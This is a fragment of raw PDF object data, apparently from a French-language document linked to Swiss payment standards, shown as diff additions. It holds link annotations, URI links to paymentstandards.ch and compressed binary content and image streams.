+endobj +261 0 obj +<< +/BS << +/W 0 +>> +/Dest [24 0 R /XYZ 40 298 0] +/F 4 +/Rect [417.71 190.72 443.6 209.72] +/StructParent 157 +/Subtype /Link +>> +endobj +262 0 obj +<< +/BS << +/W 0 +>> +/Dest [24 0 R /XYZ 40 298 0] +/F 4 +/Rect [446.4 190.72 525.1 209.72] +/StructParent 158 +/Subtype /Link +>> +endobj +263 0 obj +<< +/BS << +/W 0 +>> +/Dest [15 0 R /XYZ 91 185 0] +/F 4 +/Rect [250.05 145.72 266.24 158.72] +/StructParent 159 +/Subtype /Link +>> +endobj +264 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (https://www.paymentstandards.ch/fr/shared/communication-grid.html) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [303.51 106.72 555.05 119.72] +/StructParent 160 +/Subtype /Link +>> +endobj +265 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (https://www.paymentstandards.ch/fr/shared/communication-grid.html) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [82.85 87.72 227.84 106.72] +/StructParent 161 +/Subtype /Link +>> +endobj +266 0 obj +<< +/Length 4621 +/Filter /FlateDecode +>> +stream +xێ6}eT" &"]$Mvش3blO|ILW,)^$ft[4c[xyfv5lǏϟl6ɧeNߌgf\~o"yY$rJ YFpRQ4YMOOU8=yJVh'(A꤬ zH׼Z_/OO>%|{{z2]zqXx˲ȳ +5/:Ϫ n4$a{[k!N;~R>V_*v#]yHQ."j;^p,/}^bT҂K8_¥RP |z  C8+cn | Zg1300-8-& +NCS_{_ i +sMEDOZ>X4JtOYr2OrW4/M@E=u7Xg: ͘Vfy89=<ފ2<'4 -1.gw3>t +FAiYNrCI̭Ti;b|u^DaVn1Ɖ%9+1I#&0eIgG꺼ڽsJS8g`5x4+7p^SĒD!/zNjj5zmz?uuhћ kaU^;Re7yNňO.P?iſ}v1Є-# +9Miy1bMop9i4JtYؐ_4i^H,xnY{Z7A Q8/1bNjMX@ѳڌ%@'Б$ kn5 03acL3),@|,ޢQ$fg9gM. "~7zAE5 PmV\ BZ4Z+~h@0az;aLn[DĐndNuXL00 +<R< i>=wpk]X­©-oTGn ݙNdlE"@K6Pk0T4Dqş=V XĢo Aꇌ(ˠZ;pzoЮ{3wH6xqbnV9@/SX7D7Ig&;sְXF <lg $*`޷z6=[^Ux]vlZ;*~f:1-⇿2p@}0@vQe+)~d"I]q3 9F*%s*<F@,qm K՗ +%G&q2?j/KR=R +C1;${{NЙ +:Y֐S D= ^e +eu*lc1 rDwP:m) ,<֎7ukMsBZew&Bcn^"+^*ikbZ/Bܞx= SeeuaH,qA0npCVgF jtp5WYr +*7Z^p\{1%R`eݱT).3R^۾@c*%B@K?bhPye3AǑl CW) )(>!tkЁqAsg@y=VwjY/Ӫr'p^ġAPiḩt7N̴qxMޔ~=N[o~ vlieb{N yeFgem'GT6mxF>X{=6OAb$ #II #JR'xe: C rcc4$S1R4ڊğ밌Ov-LKڄbdq{p&Xs]ib~xbGJ }NCDup!I_oձUU 05NP" .5Tj wl$Tޅo UZu{6s&zɿj9ZuL*RFҏWW{ 8LHܻ&v1鑽F7xwU~9v9lZE`Z]u&8)@r`!5Ty[53DG",̊ 9F?;h7+m;65\ķ*T?wŊ1{qbP%vD,Yꑻ MtKZ=#.촌MZG:k1ʸr0*xdćw񕡪2#sjQ Y|(iv5e{pyuss,`rN=4z9"ɅXG80rY w.QꏛH1y*(Y@p0. !E&Heࢩ1lKUQ3H-*[=IkUVL@QSaٷ޶jc# +dhk>:|q!J=aaug=7~1 bJc.CkCiBu =y$#<6D0,7 Pw\bD:!8Z{$DV)u Y Dڋ 67"eF.1o;GG"'qCs`PE*u|%z]._[P"giߍ׼MށmO8/{|$y#xCDG]iE +0M>V߾O?aRjՃ%oٵ)ETV:$Clu4-Mhl݋Ѣv\14 S|:窯++6 bДșm3ejf7,HAoFȐ%s:"GA)sR*dh2l +endstream +endobj +267 0 obj +<< +/BS << +/W 0 +>> +/Dest [64 0 R /XYZ 40 728 0] +/F 4 +/Rect [267.45 638.55 314.91 657.55] +/StructParent 163 +/Subtype /Link +>> +endobj +268 0 obj +<< +/Length 4317 +/Filter /FlateDecode +>> +stream +x][s~׌LtL3$rtHm<E3#^Lܿ䷾a~Eހ]w"bogEϾٶɴ웶Lͮ_.כ.?lfgo&j.֫.0\Ͷ_}^ggٍUD4*Uîc8mq1,%xLGpq](~q5{ń{=</#g½MPc'\$k\mܬ0K[1U?ލNrޛ+=]Oj4mj[w}'9uRxo.㖄{g3 j)4w>RAGeV1I}y%Im'ǰM@'-$6(Mho (oݏљ#J}n^׭@}405) +G޷jEٳ3T_F2㬙ՎqGM͇y}9-'҂#Rh2֊4xfoc(%z'%3 2Z*kk <ղV$&kl H7G!j{`xmnU,y+a9)x礬ilRt6Qhǖ'\>eNB E&]$#u4iڹsپRuF70a8Wk0*%MVޣ~g4ORo'Ml4瑠݊ksqq._6y`L㍾jnV>T!tKg{vS¬Lڜ!j+=)a5>TlծNr?0{su++VWp';Q HR ӆ4.ezl֛f=$lgl?cӤp"Vi7iEɆ撮4@PamImn_ hH_^G8S]D} FrNo0;ELzɚ2>{1jIz`x;;YqE(2{{wKf܆SeQ@u1\߈: +6ʭ`WYl&u+%d +I+0w*ɹE3\0O,)C8$+mP=; +=Œ +~Ȗ1.ѽP![:~7luWI._l/J~aŜ[0`cX +7/ [T_<{@ Hjb}ґNRF;sWij4KWsUޒF[+eWLazϹљ + y81Gpt+A}eVyg+8A&x1RfE s3>'oC9x4,:w=i2BdR"4`W(:AD'GAT'G[o`JUi]4kXq<W6JXH ]%Y{L(k3|Nvm W^&P^}3W -?SL!)0+\#: dW9!|%8_GMԌ~У' +Z2O'q  +j̾֓*.l^x b\n|YSs՜`a0SFf(œg=N<02C>E0p舍R#I*M@t ўwL嚴v15P24y}XKe5ڴ4¤@>Qw*T1*,\tA6Ձ PC/)<Ǥz/JLmB %c.CE ʞkz[Ap (5zV^q-m"͇uL٢;Ny~i 0U1,VZ8f޻u\k{S4I3X5`y{iJ]/baOd9}JWRZ+cR~qwR]"__ /Ag(ܧ$20"eqW|wHԀe=Mqa/櫶>Լt;&a-'s5k[D]*瘲v h`wxM8h~d ͙yt87fMA#z` ĵs %Eސ~4Wml s@WXq0 ,|A^(43[Pq6 WSzOs<^gG[ gYW3go v$&@ =[S ߃P]ߟKTg8]d3{jw%X4K*vr*B-qV<>y9sύku"A_@J+舓.ܧJزNq:?FK1jQvۙ!d?a Z0/S%QH99_5ڧ@awzQ&P?Ǯq)n7]@Zo\ˮl\MXr)˹z-xHt^2^Yh `Ansn;k2NphPD*kQ p`iũVCjo᪄h;MMqĆmq*ܣ0ࣚ/B:ɔz{2kh$z]?ֺuj#=vmWkm׼֎Ow7w0;z<7By񌋾~qHBetM/vV*CFoNt[]ckAbwT| Z *Zܨ[ +endstream +endobj +269 0 obj +<< +/BS << +/W 0 +>> +/Dest [23 0 R /XYZ 82 427 0] +/F 4 +/Rect [325.34 389.55 386.46 402.55] +/StructParent 165 +/Subtype /Link +>> +endobj +270 0 obj +<< +/Length 3290 +/Filter /FlateDecode +>> +stream +xn8݀Aoi Ҵx"08qE$c.0<ێa:3OxbHQW2vqTŪb8Lŋe9~E_N_N|\IY,'Jn69]F^EW{ I,S4J"KY F]S{uwpL,:=ID# +G* eF=I58gyuv(Ny2֋k& *M4 +OD .OHz]c1c9ZO13E,G+<(-x)32gzunujib)ri/8.Iy<0[M9MGҧoҦ8ӔB54_oxg#õ啗`~WFd~I|hPDmav>ѴDo,4e(|^$l +zMI H<v3='Rxx̫eY.~Cs\ M{v뵱4"\Œu\ ҇nr\IR7 Ka +vk9 3'h f,N_F ^L7S6ڲ'49ISAP7\61O5CI%HBDUp3sCb,#ܭy@}'"4sOMynl v=S\!fAMהIe 9}'onO1{?\̨^/#Xtp,G_G"_ŏ4@|`a;P*ؿ&y`&r J,hG)85e" os=L_lOP9Xk${IwZitaKhk9WHij`a7:J-kX)on^Ua|Yj0$F+|N i|^MVELU+˞• ]AEUoH,txh0 T8)鵕o $bmtcZ_N]ٴ[ k [\NOuMG`{sꛫ[41"\+9ctR,N)?2Fŗ`g^Uxw7Qu0>Dpp --<(/d9Od=](tdSm)zpƌs= +ohi4ixFfRTDetc٥`MUj[A@S2w3Npp-m v:`KXxe~( yP-M{E_V5 {cyÑd2! :H&IA4}&34p}4?_.qn{tx,4 qtC%ƽ"R^naa˱|8왏 ,K|NGFJfW.;% uM7z-og];_x tPiݜnc;1 tΖ|*1m (yԨ+eC Zj̄?_'Ҕq2.jFG̬7u#S6m:fdF3 ֍Zǔ1Y̆uV҄Gy̅"n \;VMػ,pr)^(tDG@ U}-X~K'yNUtصL:5 +%ӚPHJaMoǴYj]u3'v͛MjHe5~s輫-#ZOJ33Vls ֍ER2lpG(DHGri8JqdW<QN9DxѬrpp[ÖC"}b|P')*[NPNܖq~u*#M+n` *9X; |5ƿ"\ %Շ{^@dn0=u3=lͭ@ +۔)vJ1aPz*xg:M:C7&_ߎk_u>ϯ%72B}MvJSi2XKcvL7ZgQ-׳& _MVXM~*r}֓E+цk-Rsi+]n#R/2}p:%3!~w qK|(w{(wn]r0Ֆ!["EYhN8j1EU;AQlQtoV>\F֪hՙ/R-)TmUsz2Cg vېVMoS;tvcFwpiPh‚ڗ >[)@ +l7KZH!nm-RJh2ZBcnǔ|ic&}ӕ7zfKf+vHݕ~~O0|rG1ewxt0qKTx&ܹ;i_;~6?_[NVnlޮ[ř4Xl+.Yk nnD̜nvݛifRGTBmkhjOPYo&b'{$,_S<?K8)0;s8$LJu[̯R?REkH)T.jfaÑӉ+h[5lit#2!uƨS 3Ţi&G ?p$hf^{mD(mͶ|x6EZO.9Lb|B3&'>Eα^-7Yk׺^2\9'LN`uk2`6 +endstream +endobj +271 0 obj +<< +/Length 37566 +/BitsPerComponent 8 +/ColorSpace /DeviceRGB +/Filter /FlateDecode +/Height 639 +/Interpolate false +/Subtype /Image +/Type /XObject +/Width 897 +>> +stream +xw_SgYpƁ{8qRgu[묻֪uWVT8DE{7x?ƛ0%G@Q}W'9 z@FU jI<`O$(D@f$(dF@f$(dF@f$(dF@f$(dF@f$(dF@f$(dF@f$(dF@f$(dF@f$(dF@f$(dF@f$(dF@f$(dF@f$#Gc{a\ :zh?www{a< + #A¢|76mTժUz[ߗŋ7ݼy; Q}m|_HP@H!A +B `'$(@ + +NHP)$(;!ARHPvBH!A +Bwoݨ_ܣ7 i߻VP9N|yASV%dcHPgH> P?ٿ痛1 {c7V8,J϶.A'"ARH奝}o#uk/wge)\_A+LL<֙9γ\hbwF{$mJZd3jHPg|$%I,Ҳ@/ʪ3U-u&SR5B͇Mݔ-Gܧ`B$(@ + ̉ƴf3?s^=b}q7C͚Mܜi2?[oOS5랞Z&AH!A1I*osOLG1%b„Ǯ&|/<{ݔQ'XO42Riu`xOv^O,6~Xh,κsxSq\аM~hzxyۓ ECQڑKvnV*>CF 6s3/H>9rտ̰nԟe>dQ:莨ɕ/3}[3_6fH!A/cR̖ B1i}L~+n\3IT\TTC6ť>>wT,9H3sVT +EHRyؒ VI>R|x+_M' b],[ ÂU#^kϕW&tƍ]^0puɐU5e躼Z+{ubsTӪ܅C^, HPY gYl.ljkP[J˭۰I VnܿokM[#瀡n*hLU*܆LX5rKWo޻_tvUYӡu,:6zǾn\5sL߬ͱ\ }/sGpR +NAWoݵ+*A5fN;8Hp1r(_yN<`FPjZ 46K^l̀@Zt]s~疅3 mḶyhT&\3OR8uZyJfVo0YdЖ&MPhBfxHf8c^*'[c^4.־,A7w u.hU*՝CC{xD((-Y 0={\/+ ɯB*Q'e5fV +B6Gbb̶n +kNh6cނsآC:u\yh9mպؗ]mA+TyzO>eNjOwtTno5OP g_O>y3򬄨JLjr>翹(|X;kL|jFHP y {R +ֽϔl߿_ph'eҢ7&.~U̺ +Ǵ|}ͮY,}{mTKBk뜆QC5 +cy8]UzOy7T;N}K88P#7}?H!A6pBk׵WREc-%2noN7W);^_}6iM*{c܌u {VW+[]^`]^GTc.iݕ쟠 +7WwvؚΙ:ZJh57?yM +B6/b,/rW5&}|G߽HgAy7 Ty6n4j+AM ~{ _*m>(xa5#2-|mNů`~g\yY+{LIP} Ǻ +ۀɷJ~E jg½wؘq1=q cao˻;80s?{_x m>̥wa٭O}v\QunH.|c[DmC493 WA^l] Tu>1Yo +ں +~]m"ARHfB4_GoAgrLܕg1瓊l> en2asjqu}QiwX\)'xsoT Apjso|H{=HPyX3:QPvzYn_]#pwy|:v:((Aߕ>z&Eߙe|z 6h֣첺]#h&)2"ARHf@4]=Aplr/Md`n5h̒Lj̝:*VG՗%Y`gѯg۪5аM0k,nTBauG5$A+WOV\GhEuZ:%ARHḧ?b-,y9oƚEHNkw3ǣMڂqwԨo o-e jł+3Ysѩ}[K|]l2Wgܿxzc_6{&AߙoL+l/;4*$uXhel,oi'_?WaÆ 9J5h j] x- +˻ #а}{ Uq١ǶU \04@Tj. 6dPجͧ Jwo~z֞m,rp +-ohA!=wnpFM ARHXcP0㮦}E=抬D +IzoPA&:wX/OJw7]QM +A p۽7E;bu PWDާjS\<:En9۸}g=؞"nmԔ!nN5ok%5}~$(@ + 3]?qaekm6h S?O4ݳgrߙe˖GݹsD `'$(@ + +NHP)$(;!ARHPvBH!A +B `'$(@ + +NHP)$(;!ARHPvBH!A +B `'$(@ + +NHP)$(;!ARHPvBH!A +B `'$(@ + +NHP)$(;!ARHPvBH!A +B `'$(@ + +NHP摠W\zia) Awءh_'&&im) Al 4'$(@6)A/^HP̒Qn޼[NDdF A2#AHPHP$(@f$( 3 + +Ȍ@dF A2#AHPHP$(@f$( 3 + +Ȍ@dF A2#AHPHP$(@f$( 3 + +Ȍ@dF A2#AHPHP$(@f$( 3 + +Ȍ@dF A2#AHPHP$(@f$( 3 + +Ȍ@dF A2#AHPHP$(@f$( 3 + +Ȍ@dF A2#AHPHP$(@f$( 3 + +Ȍ@dF A2#AHPHP$(@f$( 3 + +Ȍ@dF A2#AHPHP$(@f$( 3 + +Ȍ@dF A2#AHPHP$(@f$( 3 + +Ȍ@dF A2#AHPHP$(@f$( 3 + +Ȍ@dF A2#AHPHP$(@f$( 3 + +Ȍ@dF A2#AHPHP$(@f$( 3 + +Ȍ@dF A2#A=]>dQҜ_ʘvǏ_//IAdܾp8rjD"?{7Z=&h{w' =h'&;}Ě8r?;"=o4[HPH/UxjZsyKfĂW,Vٞd]&~Se,Z_7-P;zܳL=kRMIJ=wSM_ʘ~% K)jXBUFl?l,N^>ke~:w6YFEt6]|SCLZI_1ĜKrT6R>tbTG9~WMw}oul3bʬڿ)9T w:#Ar#AdO=GK ]PQk2[?y ێc/ E\mc0kL^T[\ \_a봥)4BPwr~zje]ѕf$4sJP&F_+}Ȍ"pʖSқҗúXs/J.֛#76c4JjҚQ4i +q砱, :u5 (; ]46= 3UHu:&^[Rn_0H܌R}̆ +}a^VzBمBlԖegT)*L ==՘}?W{KY[t3 +DQ[oy}ݹRD,ېWn4ߺUVeZ^*KBWU,/]XW>Pn~z|Nװ= m.(]zN2s+&m_ƫqz= * +,(.]G}߀ kJ$(@f$h+ysgV?B~iŶdIm:YϰT(U]OyͶOdXv]D?g0t/nٸt~VyvkKmX|oS:oPx'6dFbAO},:Yb?~Iw^*>yP|duŽw|SgtىeCDv[ _gH̋/õ4Lc,\[9e=9ŝ+#Dž֜)-M;Ն/?JB1pnCe-{l ;[T5'Aߙ.c>,O< A2#A̺n*ӖؗzKمzS)JJ88h4JTV=G}Tn(T;skc]x;VT*}S,CoAY3꽔Ngi}ڮq=-{X=WW~t Z{'qYN ^a.|rP_,N +n#N!?]&m?Ym}jeFV`BPz$G[\cztpIP=[wR4#6ǖv:fC֖>~N kcqLKЊ[8l DdF6%>cӶFԿ<mT6vSЯ>:Aǀmw("x^'ۻ:4Ⱥ~j1jfN:<Yh(Sqv[,aȲeU9n[t{!>31&2'J?Z55]2偎}Uޝ՞ɉn*`ݙgU?[x +_{%Y7^4>TTD=WKk·"!],g։3*4S9q∨r??scޝaK|0A5EOT[re&_O`ko>}ȌmB~cЕĊ'F[ %xڵ܏ST6~rHۀ ykz[첏V;kAruV %g {+YwNJKs" +^RJWߎa L"D YSʖd:&.r W{:za">NJ>.[ ZqeGtW^&^Ty|jP"`unЗ;Trֿ?˭ˠ헟QlJ.^U,< @dF6cɡ] +g;$c6nYhFA.PP3JxNߖ +KĶuj\*zdaRt{Q'8I-('O ;xዲOAH9B.p6mlWBp=iij2vFrO{[ ZacIJݖprP~ˌ_S>]5pTv߫5 k>sh^NjW d=IPHЦ!*m/ +$H4^!(ML<ь!yЌyN!Soe(M_1 (O:YYw rN +mQJ t Ok f_Ysec. <룅Yc֗pe;0h€EEgyio|YSe h#h<'o>m#[#8xRFdU1ݔ +MˎI/lx8cԡUwm$+wI-6w'A2#AXzʧ{6Yen<Ś>mGE{]XZQwS4d>81Fvr_ +KK>W~c-B햞I$ۧe  +0h+-Ȍz)>jѣʿٸf CYKv:%'>ΖeYՋ5 mv뻧I} aSƴRZ<Ʈ$Y*\O}kleEO"e73 vu?nd*ˉ+z҈>N֋2hч3fh{;Ѯjjas/ot>Hn +Q:2B+ojIP.N<,Sp|ٗ)4HPHЯf.HRJ*݅n$;IB!3wrwvS^y{動]nê>ͷ/DPZ砒ĴRmGs*B_M}?%T6Ƿ'EPe|v u"h,[4}n)B[)]!vnCF(Fˇd(j GNMaDЩNfmhe49^ͦJc{֙ ]&UJƭA]=#zx%kvInqDp˛-!q'@LPr\0Jes6a)Ei! +vZ!=iˑ/(tƛ\̈Zl^+K=A圶M+f࡬ϑ&OW"R :3 u(צ_)eWWT1W9Hy/5j>hְMy]).Oiul:tzz3ʸɑt2?i +@ eW} f_z'oysW/2DF'L$~ԖFا A5͉xywe9'y +؃)3ҋL +*Dۻ.D2yJàRggZCQ@m"|%ssêSXE¢;G:jfwwf lᶚwjZR墡' v_i6'+-16b$a}= BRSz;gn~BE܁ei7#7H 4g\!Ϗ͌Xv__]-]z7 +@ ,V5ρ +@ sd -3AD# +Ag)ĵ/. +]g>#(AhDP~R2\pe' WsG +@ K=wcv.[կ5 2 "("(- + +@  2 "("(- + +@  2#m|~i +g砈MC1 "(P!u۷d=-Sj蒪64OAhDP0 U[?$҈H ]Xghrw]nvr~s, +)r)F&WBMIA(T4z.IfY,ypv`H2>AmC%I; dӫ/S# }*ySHT2 *AFrpV"K euڛk^fg&DG_wY jDP0TЕq@#(qmjּUFd;NI?*A;˶zY"&DӐGwjڜݬT 7LmTs/ ƹgchⳲij"(*|z,EW|_' *\igH 1VN.EhzAqdd[T)||ۂA$u}$^~s[q,]"%%i7x:2Yk7DP^lJ%켢/~_Z&+zEd"a]KA't q>QT!Em"\@5lTHMĮJT2YԴ +D4y(\ulTQYGˤB;{-[AG_pҎAaovY7g $b/Wv{ao{kP6yQD__j((P8dS/H<@2OD|AQQ$OD\uf ނɴ>e|?s:P܃*ӪT,i0^B%-fnN 3Nlb#Ry%;βnh*;⎷:U~ +`w) ɜF {{$rcC1gW l{uA,GPpGQ!:T|.8h͎S_hjn ?]8}B?d|ܔA_baUVUxΜ[BtNjgzǡwr;/cw]=^AŶ'L7F]{TV\4T#hSYj0X +T^U^=u`fI sGO^P~/h|yԉCϋ:t1=u@}/su0V}on9ƅxS}¦gNl X<'e@JV^s/W5H+{J} Λ|ac.ችC%BZiKjgaOf}xTh@ǽdS ۋ +_ +k*5ۺJ zDO%:2Ju'MN*T9P͒;[X&~J ̏Y(\~G{I^Ո@sC]HC5͟&"֏qO1bBJP㮶Feݥ|SAui8{Qxoe \?bL&^|{ DPu˘T5^84SA^dխ>R;;E*t6P}+*%q+LU'\BEPVRGCİuZƛPaF#qL7AǍEPcs6x8b_| \*kϿ`Ƞ /w\$#Õ jZ,ԃ:N +7"?}SӹT!5j[|} ىc;SD^61}uC=$e7kzyʒM^&L ΛB"(fj3)͇A kJ"l]/)Qk:k' y#=D"VAYBYlю{X|v7,n TkEœsn #GscW<۽Յ3*[ކ/  m-~7*?'=*(8Y9mq:yIuCWu5}o-F" (?a_/'w] $OFH"3r 4I?oB /^zM#(boo]y!>wse}AL,cBRS%*=ی=Kߓ7VpZk<7tXe7AIgv̯'xA O##<Cv*W;; +ݱiT!MKBQuh Sf mBAHTYFk+KRZT=+JIݙ,܆X`Xz\!i-ܱXA'uX`5~h|JaONB$ g+QxZA9_lu~/^-!B4`1ݞgŅ葉™]"ٴ-e}/(zqODPHf%q{yVStc>8y&wfx sXv75J9_nZ A"(*ǚi.Wyr8mɆJiTϔ 1A m:g`Cۄ-'4bp *Kw~W}8V;UnՃA dϭ7: %l),*nLVhThrS¼#PK~>H_nrBYd'J JnQv2!|VuPTz}"m(SQ'`ɖtSp[b4 6w@C%!!>W󋡑r2[4[B&ܯEW`tGPPSt E4s:wRjADP0;@Ù7*d$eKPn -N Ƕҽ_w~~,zuC__$ښm k" Î>Q 1#(BߝYx/կpƻ*Yn=7Rؓ@wmyyA(L뤢A7,)kZ-(*ͧV9m>b <&"ٶdu / >|єRν olWRfSw~& X35Z 3z( +]RxUtzkA?Ό2ngL2!nވ2 CgoC9wFGئtkzVYյY2AOY{%}sO/U˝T"B1sp;ӹ#(n}B}#(d2x^1%0!EgUۖay^xueů^{6{x,1~MwopA 1OZ0%Xd<&T{XE])@MteT|<8T:&]9%d6YhJpۈv|i8'׻v9LvEPT¯N~aMKgowkft6#Mf(+v6޲iǖ^lc:"i ~ӹɺyV'Py:R)m,I`gH~\wà DP%l]Aǟl 4š{2rO.JupoR}z6̔AYP\8,J9vZ=pɶ CӪ=S=۰%_G'+T?Ou1sc`yx%k>5E2PS}}]MIшۓ/Porد?]3p7>9%f1ҢcaO~4^O*[s|D ;?.ҡG3i>\alwh_h=E鴌X/jv^ټ6kXJW~LX[h JӎNou]7A]  fmknH%Id}g/av'Vx#Di`hbf11bѩ$*%QEjf/&L -,,̍ F7ƽ̽bAGPŕ$@ ML 2DmD"B@kfo^}Pհd,,#RIW遏!2YsD%\$4AqQrߞ ~6Z:~gN_`"}F;Ws\e!;V~W:[娢586V4?5470)D'utU!,sqDп DP0I}|p5K^IJ%0lls_ЖKUCJc|lOݱ֌6ϗvYjAG 49O2~|MYA3 +q;[^wK! Fm>pF˘ۑz|0gN}ŅDPd ._ċnթ9P)O<:?'@hw%U~rao +btۙKr o @s.(`U&2]sfEz*%LrvV{|JE;.*)xv !3V;B"BooJUۓCu]lT̠9m 5ZzBƎR,vm^7đ*ѝyh"u44 +"P_c]]"uX@3vYx]?/dXt*UxŎS :{z:ZJ>;@JT@FP|]-D2fYę9yE _:kJrr2oj9pQT"pzo`h}PFkETI;_ψfe}e/o[gik\ ]#^m-bCB:,Mϟ?aEtlM7ɻDv2!7,}=03(rX$ NxUZ[Q>^0k˫[nOZ^S[Ww'!ȖﻦDP1%vތjxYu7w5ӑD$.cC_п DPDP0CWQ2 QqsYęש#( 'ɽՆRQ:YCFPP{\ɄB[J+,";-dҌbQMԽce;sUnLx;~к=+u3J1}aMIJ 7 dPiH4GP-ֿ^LǦog~A/'ک|p `4_"(`L*fDk3}Ŝҗy/6Joī%i{}N8CS͍}v7Udݼ|(ld#c9njLf'Eߩ\kejа)$_Lx_^_ֱx0uq *8"ҐtE"v5FU"(fk+|z$b 6VXeb/\:Q`˓I|'.ݮ*ɕK=CfDP9>?~ntkk]ID֦<ʌ] +cȘw|dEP?(!WިX_m`}u< +I{MѝIai==Mҟ75dAAhDPDPZA@eAAhDPDPZA@eAAhDPDPZA@eAAhDPDPZA@eAAhDPDPZA@eAAhDPDPZA@eAAhDPDPZA@eAAhDPDPZA@eAAhDPDPZCcP:umVZuWkZWVqkPE=d3H8oVFGP +(@F A +#AHPHP$(@a$(0 +P +(@F A +#AHPHP$(@a$(0 +P +(@F A +#AHPHP$(@a$(0 +P +(@F A +#AHPHP$(@a$(0 +P +(@F A +#AHPHP$(@a$(0 +P +(@F A +#AHPHP$(@a$(0 +P +(@F A +#AHPHP$(@a$(0 +P +(@F A +#AHPHP$(@a$(0 +P +(@F A +#AHPHP$(@a$()A#""s$(@aSx$(@1A>|pŊAν{M =HP= +B +B +B +B +B +B +B +B +B +B +B +B +B +B +B +B +B +B +B +B +B +B +B +B +B +B +B +B +B +B +B +B +B +$= +h 7;vcj($(!LHPLHPLHPLHPLHPLHPLHPLHPLHPLHPLHPLHPLHPLHPLHPLHPLHPLHPLHPLHPLHPLHPLHPLHPLHPLHPLHPLHPLHPLHPLHPLHPLHPTYbCe_wo^ڍ,~fMq׭{sV|zAz[/q^|uS)$LpЧb'~.ZȄ:r&oU#ARHPeJ..4j!|m`Q6Z% x̌L)b cu; ='AZu~Bjfuc,H+ eTuH UX๤ǻ χ{CU >棁oV#|#TskӮgt0#}k^#'HP eOݧ|[;/cM7u3xpXJpv ;Z)dԵ?AE#ywSIP{!DSõ=+~w9YorpP4Eѷ[d/w0Vg2;X<)r\[5V>o\RˍV|rg͵،eS7^oNu)y[89lY%qc|qܙzz5OuPWuҦyX@LBZs7YwY૳f4/ƉNbYqˆ㗣KkLmn+ >:tW'Q٠o,I3K4yg\Y8S&ODtm/ʞ8{F.sfaC<\={ {$3>RУ)$h`,=5z-W*Y_}zw:iǚ' kyUE׏/ե^whppY_um^~s6,z517 R~Xu՝UkWk ߖJPʁ/}a˽O? .8_sfwkz xJ|%F:,f_vc%ږ(KnB&|r%XR.~GgW?}zwKqպ#U,㑨&,5;=HP͵Fq/Y_Ħ> av™c~15GGn?WJK{zMmĠ^nܾ?.:U!7vWhGl +*a3W8zRd乓?n^=ұӿ8YV ZP|yP_g߰]W:^*jҖ+A?i+X~{qs#76N9x51d{,R_oϐ6n?{!b9`'/^>7)j?Mp l󑳑-=J|r +:ge;{o??N9}Vz$_e +?o;|Qa]N^N=*lySW#/q ]pˑ\+>kk{ v&}S9y}z3wwfđ ulEɨy}wWgπgb [fOPAp3t&(Mq [ҽe $ubːz`kAM 5I/j-<.4g*8zy{ +[Fu4F7ǒ|<7Hf.=3fیJ>]Y6UA^m; DO׷* 2lzMf8; BЪ։ǻBUퟍTs7A5j絝?sAG.X^lzwvtQfmOS\A1P_mPlMx퐿?>s;n4=A?h:<_W|phkm(mѮTI;zsG7ْj􂽹w@_rlxC7>N7$h)'u\|/9<($ro;>mڽ2cԯ%A]w!VKzϺWyru [Ϻ )N4vqurvnu{.A-.dIDZݓ$]9xcT}ce>=Lp̚_֎74"U̷L)?:Қ}'hhH +z 7D)Z^Mޓ ڍ̺+?qwq;rTڢ6^Ý<-yzX5Dҫ,'ޘrG7aMPk5iCotzDoK +|.k}eA׾LDut0l\'XpoM!\G'P 3^E=A=8\h q'?&6ǘ_7AMu/d?vh$6zqW:&{ߐcGr~s^=@K_<}IY1%ARHPM߀y=-S['l"GQV[p ,obcAؓ[!QaZXoP`G;sqwHՐ <_"AikFYn?Ԏ͓g',h[&ǰ)+۾K望{GzYnt#>_ۑ8A݃'OQwy9HPTa>OWg}Ц]<wzS'h_h6h! \rnIYZO\\z=vPA#I$h9wAnBx,>N{د]..̢8[F ܆EGi6ח$m[y̝IG|P87UAG 3jDHp@wWY[cW; ,J32NQ>wP>^*k|hYxaCxΕNZ6ۖzX>pHu$c^/W($(@ + (m<{ʅkk +#X0kJ}Sg-||v㫽y/ٱx!_W3x0y:mH&:c~%nz$MCy=fM2͞|WJ4.x0i~1Cm%<m?*ƺ;_8sOI5"w{ l# v>ApU ^DA1&3 Uh*MD%j:<Ӥ({ege5Mw45VD߽{~LK2uMcE=fZ JuVʓ(!Z ;0חfGݿw7.ZscU£U7vXYsD#F]EYhfT$.-ɊÄrû4f4keym3&ME(b-SYgʂw|/U]YeO4Ӷz3llҖ=O{`ʃŕC7u'                                                                         }JРzI{ eMB@aGڵ=^bb{܎NxnG"A $(F@a$(F@a$(F@a$(F@a$(F@a$(F@a$(F@a$(F@a$(F@a$(F@a$(ޞh2jkɉOJ*5 M=(@A,11)EuuIuJsΨ?2G_<C5ܙqFz#T}^o! ͌?A&Un:kobSU)C'~×G֙N+:8Xc]&h}i>k2ϼz +5-=r*x$qk: O.jZuFV~ '+C,1sx5뫯sGF&Pn|*ywb&C{%ٽauNS׼&}MEYNr֢Z3=wdS]Hn{/M%[=sf]v,ǹJ ^/AŢس?7l?϶񍋶-͉[vnjt?3i_fen>-T,{48dKllx [p'Wlvmw0H4Pk%o{=RrlJ2$/3c]Fecw hȸq`7gMG_Ȑ{Wx €K 6%?OwHw?=f?9 +FwrrpΎRD 3EQNRl\jvqe?WC:A4⟤7N͛ˋSI:yHAWSdTA |}</8ڦm̸'j(-Ӭ-ϰ̂je-(+5.1~lU]Tmj}Jk]jnqVI1]mMK566VghwтX[,&r~)ՑKҽܼ>3H+s|X45-S^RQ:N(/`WS]ol +*cSc81&eVTiw0T$W$?mBӜMCeY7!N y 9ȯiq7h%=NJWkm+Jӟv-.)-&]aVjlBrQjfC]meVs_R+qAr *-KUn}geT9W4WXFiN[e)yM05EqJϭv~)X"/?I)(lhr!75).9vhRgU`}v[nO9LO7g݊zH.ni榽\inQy}'>U7"6V%XKכdT'?SY6Ug$~_-ή0'q-KL-,w@A#տ3eR]X_qօsy_}K>uzQ0"wONhD0qfbCE3fʼ5[O%8$]W/Ge:u@#YLPvZ}m-6a@wn 5ۯ& ~k͚->Sl(|sYxٗ8r_z+A +}ͩsݼNcmۿxmT 37u;s q3G:w%3ǫ +7-fև:V'>zP_Xn&,rόuёYm.YלWͯ/MڰxjOG]mYR,OoϏt|? \`T`,4s}g 